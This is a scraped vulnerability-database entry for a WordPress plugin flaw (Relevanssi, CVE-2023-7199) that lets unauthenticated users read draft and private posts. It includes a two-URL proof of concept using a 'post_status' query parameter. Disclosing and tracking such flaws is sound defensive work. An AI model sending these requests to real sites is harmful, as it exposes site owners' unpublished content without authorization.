Lucene search
Krzysztof Zając (CERT PL)WPVDB-ID:0C96A128-4473-41F5-82CE-94BBA33CA4A3HistoryJan 04, 2024 - 12:00 a.m.
Relevanssi (Free < 4.22.0, Premium < 2.25.0) - Unauthenticated Private/Draft Post Disclosure
2024-01-0400:00:00
Krzysztof Zając (CERT PL)
wpscan.com
1
relevanssi
vulnerability
unauthenticated
access
private
draft
posts
Description The plugin allows any unauthenticated user to read draft and private posts via a crafted request
PoC
https://example.com/?post_status=draft https://example.com/?post_status=private
Related
nvd
nvd
CVE-2023-7199
2024-01-29 15:15:09
cvelist
cvelist
cve
cve
CVE-2023-7199
2024-01-29 15:15:09
wpexploit
wpexploit
prion
prion
Cross site request forgery (csrf)
2024-01-29 15:15:00
6.4 Medium
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
31.2%
Related for WPVDB-ID:0C96A128-4473-41F5-82CE-94BBA33CA4A3